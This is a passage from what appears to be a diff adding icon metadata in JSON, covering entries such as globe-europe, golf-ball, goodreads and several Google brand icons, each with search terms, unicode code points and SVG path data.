7.77-13.72 7.77h-.31c-4.24 0-8.31 1.69-11.31 4.69l-5.66 5.66c-3.12 3.12-3.12 8.19 0 11.31l5.66 5.66c3 3 4.69 7.07 4.69 11.31V304c0 8.84-7.16 16-16 16h-6.11c-6.06 0-11.6-3.42-14.31-8.85l-22.62-45.23c-2.44-4.88-8.95-5.94-12.81-2.08l-19.47 19.46c-3 3-7.07 4.69-11.31 4.69H50.81C49.12 277.55 48 266.92 48 256c0-110.28 89.72-200 200-200 21.51 0 42.2 3.51 61.63 9.82l-50.16 38.53c-5.11 3.41-4.63 11.06.86 13.81l10.83 5.41c5.42 2.71 8.84 8.25 8.84 14.31V216c0 4.42-3.58 8-8 8h-3.06c-3.03 0-5.8-1.71-7.15-4.42-1.56-3.12-5.96-3.29-7.76-.3l-17.37 28.95zM408 358.43c0 4.24-1.69 8.31-4.69 11.31l-9.57 9.57c-3 3-7.07 4.69-11.31 4.69h-15.16c-4.24 0-8.31-1.69-11.31-4.69l-13.01-13.01a26.767 26.767 0 0 0-25.42-7.04l-21.27 5.32c-1.27.32-2.57.48-3.88.48h-10.34c-4.24 0-8.31-1.69-11.31-4.69l-11.91-11.91a8.008 8.008 0 0 1-2.34-5.66v-10.2c0-3.27 1.99-6.21 5.03-7.43l39.34-15.74c1.98-.79 3.86-1.82 5.59-3.05l23.71-16.89a7.978 7.978 0 0 1 4.64-1.48h12.09c3.23 0 6.15 1.94 7.39 4.93l5.35 12.85a4 4 0 0 0 3.69 2.46h3.8c1.78 0 3.35-1.18 3.84-2.88l4.2-14.47c.5-1.71 2.06-2.88 3.84-2.88h6.06c2.21 0 4 1.79 4 4v12.93c0 2.12.84 4.16 2.34 5.66l11.91 11.91c3 3 4.69 7.07 4.69 11.31v24.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm-11.34 240.23c-2.89 4.82-8.1 7.77-13.72 7.77h-.31c-4.24 0-8.31 1.69-11.31 4.69l-5.66 5.66c-3.12 3.12-3.12 8.19 0 11.31l5.66 5.66c3 3 4.69 7.07 4.69 11.31V304c0 8.84-7.16 16-16 16h-6.11c-6.06 0-11.6-3.42-14.31-8.85l-22.62-45.23c-2.44-4.88-8.95-5.94-12.81-2.08l-19.47 19.46c-3 3-7.07 4.69-11.31 4.69H50.81C49.12 277.55 48 266.92 48 256c0-110.28 89.72-200 200-200 21.51 0 42.2 3.51 61.63 9.82l-50.16 38.53c-5.11 3.41-4.63 11.06.86 13.81l10.83 5.41c5.42 2.71 8.84 8.25 8.84 14.31V216c0 4.42-3.58 8-8 8h-3.06c-3.03 0-5.8-1.71-7.15-4.42-1.56-3.12-5.96-3.29-7.76-.3l-17.37 28.95zM408 358.43c0 4.24-1.69 8.31-4.69 11.31l-9.57 9.57c-3 3-7.07 4.69-11.31 4.69h-15.16c-4.24 0-8.31-1.69-11.31-4.69l-13.01-13.01a26.767 26.767 0 0 0-25.42-7.04l-21.27 5.32c-1.27.32-2.57.48-3.88.48h-10.34c-4.24 0-8.31-1.69-11.31-4.69l-11.91-11.91a8.008 8.008 0 0 1-2.34-5.66v-10.2c0-3.27 1.99-6.21 5.03-7.43l39.34-15.74c1.98-.79 3.86-1.82 5.59-3.05l23.71-16.89a7.978 7.978 0 0 1 4.64-1.48h12.09c3.23 0 6.15 1.94 7.39 4.93l5.35 12.85a4 4 0 0 0 3.69 2.46h3.8c1.78 0 3.35-1.18 3.84-2.88l4.2-14.47c.5-1.71 2.06-2.88 3.84-2.88h6.06c2.21 0 4 1.79 4 4v12.93c0 2.12.84 4.16 2.34 5.66l11.91 11.91c3 3 4.69 7.07 4.69 11.31v24.6z" + } + }, + "free": [ + "solid" + ] + }, + "globe-europe": { + "changes": [ + "5.6.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "all", + "country", + "earth", + "global", + "gps", + "language", + "localize", + "location", + "map", + "online", + "place", + "planet", + "translate", + "travel", + "world" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7a2", + "label": "Globe with Europe shown", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635508, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm200 248c0 22.5-3.9 44.2-10.8 64.4h-20.3c-4.3 0-8.4-1.7-11.4-4.8l-32-32.6c-4.5-4.6-4.5-12.1.1-16.7l12.5-12.5v-8.7c0-3-1.2-5.9-3.3-8l-9.4-9.4c-2.1-2.1-5-3.3-8-3.3h-16c-6.2 0-11.3-5.1-11.3-11.3 0-3 1.2-5.9 3.3-8l9.4-9.4c2.1-2.1 5-3.3 8-3.3h32c6.2 0 11.3-5.1 11.3-11.3v-9.4c0-6.2-5.1-11.3-11.3-11.3h-36.7c-8.8 0-16 7.2-16 16v4.5c0 6.9-4.4 13-10.9 15.2l-31.6 10.5c-3.3 1.1-5.5 4.1-5.5 7.6v2.2c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8s-3.6-8-8-8H247c-3 0-5.8 1.7-7.2 4.4l-9.4 18.7c-2.7 5.4-8.2 8.8-14.3 8.8H194c-8.8 0-16-7.2-16-16V199c0-4.2 1.7-8.3 4.7-11.3l20.1-20.1c4.6-4.6 7.2-10.9 7.2-17.5 0-3.4 2.2-6.5 5.5-7.6l40-13.3c1.7-.6 3.2-1.5 4.4-2.7l26.8-26.8c2.1-2.1 3.3-5 3.3-8 0-6.2-5.1-11.3-11.3-11.3H258l-16 16v8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-20c0-2.5 1.2-4.9 3.2-6.4l28.9-21.7c1.9-.1 3.8-.3 5.7-.3C358.3 56 448 145.7 448 256zM130.1 149.1c0-3 1.2-5.9 3.3-8l25.4-25.4c2.1-2.1 5-3.3 8-3.3 6.2 0 11.3 5.1 11.3 11.3v16c0 3-1.2 5.9-3.3 8l-9.4 9.4c-2.1 2.1-5 3.3-8 3.3h-16c-6.2 0-11.3-5.1-11.3-11.3zm128 306.4v-7.1c0-8.8-7.2-16-16-16h-20.2c-10.8 0-26.7-5.3-35.4-11.8l-22.2-16.7c-11.5-8.6-18.2-22.1-18.2-36.4v-23.9c0-16 8.4-30.8 22.1-39l42.9-25.7c7.1-4.2 15.2-6.5 23.4-6.5h31.2c10.9 0 21.4 3.9 29.6 10.9l43.2 37.1h18.3c8.5 0 16.6 3.4 22.6 9.4l17.3 17.3c3.4 3.4 8.1 5.3 12.9 5.3H423c-32.4 58.9-93.8 99.5-164.9 103.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm200 248c0 22.5-3.9 44.2-10.8 64.4h-20.3c-4.3 0-8.4-1.7-11.4-4.8l-32-32.6c-4.5-4.6-4.5-12.1.1-16.7l12.5-12.5v-8.7c0-3-1.2-5.9-3.3-8l-9.4-9.4c-2.1-2.1-5-3.3-8-3.3h-16c-6.2 0-11.3-5.1-11.3-11.3 0-3 1.2-5.9 3.3-8l9.4-9.4c2.1-2.1 5-3.3 8-3.3h32c6.2 0 11.3-5.1 11.3-11.3v-9.4c0-6.2-5.1-11.3-11.3-11.3h-36.7c-8.8 0-16 7.2-16 16v4.5c0 6.9-4.4 13-10.9 15.2l-31.6 10.5c-3.3 1.1-5.5 4.1-5.5 7.6v2.2c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8s-3.6-8-8-8H247c-3 0-5.8 1.7-7.2 4.4l-9.4 18.7c-2.7 5.4-8.2 8.8-14.3 8.8H194c-8.8 0-16-7.2-16-16V199c0-4.2 1.7-8.3 4.7-11.3l20.1-20.1c4.6-4.6 7.2-10.9 7.2-17.5 0-3.4 2.2-6.5 5.5-7.6l40-13.3c1.7-.6 3.2-1.5 4.4-2.7l26.8-26.8c2.1-2.1 3.3-5 3.3-8 0-6.2-5.1-11.3-11.3-11.3H258l-16 16v8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-20c0-2.5 1.2-4.9 3.2-6.4l28.9-21.7c1.9-.1 3.8-.3 5.7-.3C358.3 56 448 145.7 448 256zM130.1 149.1c0-3 1.2-5.9 3.3-8l25.4-25.4c2.1-2.1 5-3.3 8-3.3 6.2 0 11.3 5.1 11.3 11.3v16c0 3-1.2 5.9-3.3 8l-9.4 9.4c-2.1 2.1-5 3.3-8 3.3h-16c-6.2 0-11.3-5.1-11.3-11.3zm128 306.4v-7.1c0-8.8-7.2-16-16-16h-20.2c-10.8 0-26.7-5.3-35.4-11.8l-22.2-16.7c-11.5-8.6-18.2-22.1-18.2-36.4v-23.9c0-16 8.4-30.8 22.1-39l42.9-25.7c7.1-4.2 15.2-6.5 23.4-6.5h31.2c10.9 0 21.4 3.9 29.6 10.9l43.2 37.1h18.3c8.5 0 16.6 3.4 22.6 9.4l17.3 17.3c3.4 3.4 8.1 5.3 12.9 5.3H423c-32.4 58.9-93.8 99.5-164.9 103.1z" + } + }, + "free": [ + "solid" + ] + }, + "gofore": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3a7", + "label": "Gofore", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860993, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 512\"><path d=\"M324 319.8h-13.2v34.7c-24.5 23.1-56.3 35.8-89.9 35.8-73.2 0-132.4-60.2-132.4-134.4 0-74.1 59.2-134.4 132.4-134.4 35.3 0 68.6 14 93.6 39.4l62.3-63.3C335 55.3 279.7 32 220.7 32 98 32 0 132.6 0 256c0 122.5 97 224 220.7 224 63.2 0 124.5-26.2 171-82.5-2-27.6-13.4-77.7-67.7-77.7zm-12.1-112.5H205.6v89H324c33.5 0 60.5 15.1 76 41.8v-30.6c0-65.2-40.4-100.2-88.1-100.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "400", + "512" + ], + "width": 400, + "height": 512, + "path": "M324 319.8h-13.2v34.7c-24.5 23.1-56.3 35.8-89.9 35.8-73.2 0-132.4-60.2-132.4-134.4 0-74.1 59.2-134.4 132.4-134.4 35.3 0 68.6 14 93.6 39.4l62.3-63.3C335 55.3 279.7 32 220.7 32 98 32 0 132.6 0 256c0 122.5 97 224 220.7 224 63.2 0 124.5-26.2 171-82.5-2-27.6-13.4-77.7-67.7-77.7zm-12.1-112.5H205.6v89H324c33.5 0 60.5 15.1 76 41.8v-30.6c0-65.2-40.4-100.2-88.1-100.2z" + } + }, + "free": [ + "brands" + ] + }, + "golf-ball": { + "changes": [ + "5.0.5" + ], + "ligatures": [], + "search": { + "terms": [ + "caddy", + "eagle", + "putt", + "tee" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f450", + "label": "Golf Ball", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635509, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 416 512\"><path d=\"M96 416h224c0 17.7-14.3 32-32 32h-16c-17.7 0-32 14.3-32 32v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-20c0-17.7-14.3-32-32-32h-16c-17.7 0-32-14.3-32-32zm320-208c0 74.2-39 139.2-97.5 176h-221C39 347.2 0 282.2 0 208 0 93.1 93.1 0 208 0s208 93.1 208 208zm-180.1 43.9c18.3 0 33.1-14.8 33.1-33.1 0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1zm49.1 46.9c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1zm64-64c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "416", + "512" + ], + "width": 416, + "height": 512, + "path": "M96 416h224c0 17.7-14.3 32-32 32h-16c-17.7 0-32 14.3-32 32v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-20c0-17.7-14.3-32-32-32h-16c-17.7 0-32-14.3-32-32zm320-208c0 74.2-39 139.2-97.5 176h-221C39 347.2 0 282.2 0 208 0 93.1 93.1 0 208 0s208 93.1 208 208zm-180.1 43.9c18.3 0 33.1-14.8 33.1-33.1 0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1zm49.1 46.9c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1zm64-64c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1z" + } + }, + "free": [ + "solid" + ] + }, + "goodreads": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3a8", + "label": "Goodreads", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860993, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z" + } + }, + "free": [ + "brands" + ] + }, + "goodreads-g": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3a9", + "label": "Goodreads G", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860993, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z" + } + }, + "free": [ + "brands" + ] + }, + "google": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1a0", + "label": "Google Logo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860995, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 488 512\"><path d=\"M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "488", + "512" + ], + "width": 488, + "height": 512, + "path": "M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z" + } + }, + "free": [ + "brands" + ] + }, + "google-drive": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3aa", + "label": "Google Drive", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860994, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M339 314.9L175.4 32h161.2l163.6 282.9H339zm-137.5 23.6L120.9 480h310.5L512 338.5H201.5zM154.1 67.4L0 338.5 80.6 480 237 208.8 154.1 67.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M339 314.9L175.4 32h161.2l163.6 282.9H339zm-137.5 23.6L120.9 480h310.5L512 338.5H201.5zM154.1 67.4L0 338.5 80.6 480 237 208.8 154.1 67.4z" + } + }, + "free": [ + "brands" + ] + }, + "google-pay": { + "changes": [ + "5.13.1", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e079", + "label": "Google Pay", + "voted": false, + "svg": { + "brands": { + "last_modified": 1599860539198, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M105.72,215v41.25h57.1a49.66,49.66,0,0,1-21.14,32.6c-9.54,6.55-21.72,10.28-36,10.28-27.6,0-50.93-18.91-59.3-44.22a65.61,65.61,0,0,1,0-41l0,0c8.37-25.46,31.7-44.37,59.3-44.37a56.43,56.43,0,0,1,40.51,16.08L176.47,155a101.24,101.24,0,0,0-70.75-27.84,105.55,105.55,0,0,0-94.38,59.11,107.64,107.64,0,0,0,0,96.18v.15a105.41,105.41,0,0,0,94.38,59c28.47,0,52.55-9.53,70-25.91,20-18.61,31.41-46.15,31.41-78.91A133.76,133.76,0,0,0,205.38,215Zm389.41-4c-10.13-9.38-23.93-14.14-41.39-14.14-22.46,0-39.34,8.34-50.5,24.86l20.85,13.26q11.45-17,31.26-17a34.05,34.05,0,0,1,22.75,8.79A28.14,28.14,0,0,1,487.79,248v5.51c-9.1-5.07-20.55-7.75-34.64-7.75-16.44,0-29.65,3.88-39.49,11.77s-14.82,18.31-14.82,31.56a39.74,39.74,0,0,0,13.94,31.27c9.25,8.34,21,12.51,34.79,12.51,16.29,0,29.21-7.3,39-21.89h1v17.72h22.61V250C510.25,233.45,505.26,220.34,495.13,211ZM475.9,300.3a37.32,37.32,0,0,1-26.57,11.16A28.61,28.61,0,0,1,431,305.21a19.41,19.41,0,0,1-7.77-15.63c0-7,3.22-12.81,9.54-17.42s14.53-7,24.07-7C470,265,480.3,268,487.64,273.94,487.64,284.07,483.68,292.85,475.9,300.3Zm-93.65-142A55.71,55.71,0,0,0,341.74,142H279.07V328.74H302.7V253.1h39c16,0,29.5-5.36,40.51-15.93.88-.89,1.76-1.79,2.65-2.68A54.45,54.45,0,0,0,382.25,158.26Zm-16.58,62.23a30.65,30.65,0,0,1-23.34,9.68H302.7V165h39.63a32,32,0,0,1,22.6,9.23A33.18,33.18,0,0,1,365.67,220.49ZM614.31,201,577.77,292.7h-.45L539.9,201H514.21L566,320.55l-29.35,64.32H561L640,201Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M105.72,215v41.25h57.1a49.66,49.66,0,0,1-21.14,32.6c-9.54,6.55-21.72,10.28-36,10.28-27.6,0-50.93-18.91-59.3-44.22a65.61,65.61,0,0,1,0-41l0,0c8.37-25.46,31.7-44.37,59.3-44.37a56.43,56.43,0,0,1,40.51,16.08L176.47,155a101.24,101.24,0,0,0-70.75-27.84,105.55,105.55,0,0,0-94.38,59.11,107.64,107.64,0,0,0,0,96.18v.15a105.41,105.41,0,0,0,94.38,59c28.47,0,52.55-9.53,70-25.91,20-18.61,31.41-46.15,31.41-78.91A133.76,133.76,0,0,0,205.38,215Zm389.41-4c-10.13-9.38-23.93-14.14-41.39-14.14-22.46,0-39.34,8.34-50.5,24.86l20.85,13.26q11.45-17,31.26-17a34.05,34.05,0,0,1,22.75,8.79A28.14,28.14,0,0,1,487.79,248v5.51c-9.1-5.07-20.55-7.75-34.64-7.75-16.44,0-29.65,3.88-39.49,11.77s-14.82,18.31-14.82,31.56a39.74,39.74,0,0,0,13.94,31.27c9.25,8.34,21,12.51,34.79,12.51,16.29,0,29.21-7.3,39-21.89h1v17.72h22.61V250C510.25,233.45,505.26,220.34,495.13,211ZM475.9,300.3a37.32,37.32,0,0,1-26.57,11.16A28.61,28.61,0,0,1,431,305.21a19.41,19.41,0,0,1-7.77-15.63c0-7,3.22-12.81,9.54-17.42s14.53-7,24.07-7C470,265,480.3,268,487.64,273.94,487.64,284.07,483.68,292.85,475.9,300.3Zm-93.65-142A55.71,55.71,0,0,0,341.74,142H279.07V328.74H302.7V253.1h39c16,0,29.5-5.36,40.51-15.93.88-.89,1.76-1.79,2.65-2.68A54.45,54.45,0,0,0,382.25,158.26Zm-16.58,62.23a30.65,30.65,0,0,1-23.34,9.68H302.7V165h39.63a32,32,0,0,1,22.6,9.23A33.18,33.18,0,0,1,365.67,220.49ZM614.31,201,577.77,292.7h-.45L539.9,201H514.21L566,320.55l-29.35,64.32H561L640,201Z" + } + }, + "free": [ + "brands" + ] + }, + "google-play": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3ab", + "label": "Google Play", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860994, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M325.3 234.3L104.6 13l280.8 161.2-60.1 60.1zM47 0C34 6.8 25.3 19.2 25.3 35.3v441.3c0 16.1 8.7 28.5 21.7 35.3l256.6-256L47 0zm425.2 225.6l-58.9-34.1-65.7 64.5 65.7 64.5 60.1-34.1c18-14.3 18-46.5-1.2-60.8zM104.6 499l280.8-161.2-60.1-60.1L104.6 499z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M325.3 234.3L104.6 13l280.8 161.2-60.1 60.1zM47 0C34 6.8 25.3 19.2 25.3 35.3v441.3c0 16.1 8.7 28.5 21.7 35.3l256.6-256L47 0zm425.2 225.6l-58.9-34.1-65.7 64.5 65.7 64.5 60.1-34.1c18-14.3 18-46.5-1.2-60.8zM104.6 499l280.8-161.2-60.1-60.1L104.6 499z" + } + }, + "free": [ + "brands" + ] + }, + "google-plus": { + "changes": [ + "4.6", + "5.0.0", + "5.13.1" + ], + "ligatures": [], + "search": { + "terms": [ + "google-plus-circle", + "google-plus-official" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f2b3", + "label": "Google Plus", + "voted": false, + "svg": { + "brands": { + "last_modified": 1599860539198, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256,8C119.1,8,8,119.1,8,256S119.1,504,256,504,504,392.9,504,256,392.9,8,256,8ZM185.3,380a124,124,0,0,1,0-248c31.3,0,60.1,11,83,32.3l-33.6,32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9,0-77.2,35.5-77.2,78.1S142.3,334,185.3,334c32.6,0,64.9-19.1,70.1-53.3H185.3V238.1H302.2a109.2,109.2,0,0,1,1.9,20.7c0,70.8-47.5,121.2-118.8,121.2ZM415.5,273.8v35.5H380V273.8H344.5V238.3H380V202.8h35.5v35.5h35.2v35.5Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256,8C119.1,8,8,119.1,8,256S119.1,504,256,504,504,392.9,504,256,392.9,8,256,8ZM185.3,380a124,124,0,0,1,0-248c31.3,0,60.1,11,83,32.3l-33.6,32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9,0-77.2,35.5-77.2,78.1S142.3,334,185.3,334c32.6,0,64.9-19.1,70.1-53.3H185.3V238.1H302.2a109.2,109.2,0,0,1,1.9,20.7c0,70.8-47.5,121.2-118.8,121.2ZM415.5,273.8v35.5H380V273.8H344.5V238.3H380V202.8h35.5v35.5h35.2v35.5Z" + } + }, + "free": [ + "brands" + ] + }, + "google-plus-g": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "google-plus", + "social network" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f0d5", + "label": "Google Plus G", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860994, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M386.061 228.496c1.834 9.692 3.143 19.384 3.143 31.956C389.204 370.205 315.599 448 204.8 448c-106.084 0-192-85.915-192-192s85.916-192 192-192c51.864 0 95.083 18.859 128.611 50.292l-52.126 50.03c-14.145-13.621-39.028-29.599-76.485-29.599-65.484 0-118.92 54.221-118.92 121.277 0 67.056 53.436 121.277 118.92 121.277 75.961 0 104.513-54.745 108.965-82.773H204.8v-66.009h181.261zm185.406 6.437V179.2h-56.001v55.733h-55.733v56.001h55.733v55.733h56.001v-55.733H627.2v-56.001h-55.733z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M386.061 228.496c1.834 9.692 3.143 19.384 3.143 31.956C389.204 370.205 315.599 448 204.8 448c-106.084 0-192-85.915-192-192s85.916-192 192-192c51.864 0 95.083 18.859 128.611 50.292l-52.126 50.03c-14.145-13.621-39.028-29.599-76.485-29.599-65.484 0-118.92 54.221-118.92 121.277 0 67.056 53.436 121.277 118.92 121.277 75.961 0 104.513-54.745 108.965-82.773H204.8v-66.009h181.261zm185.406 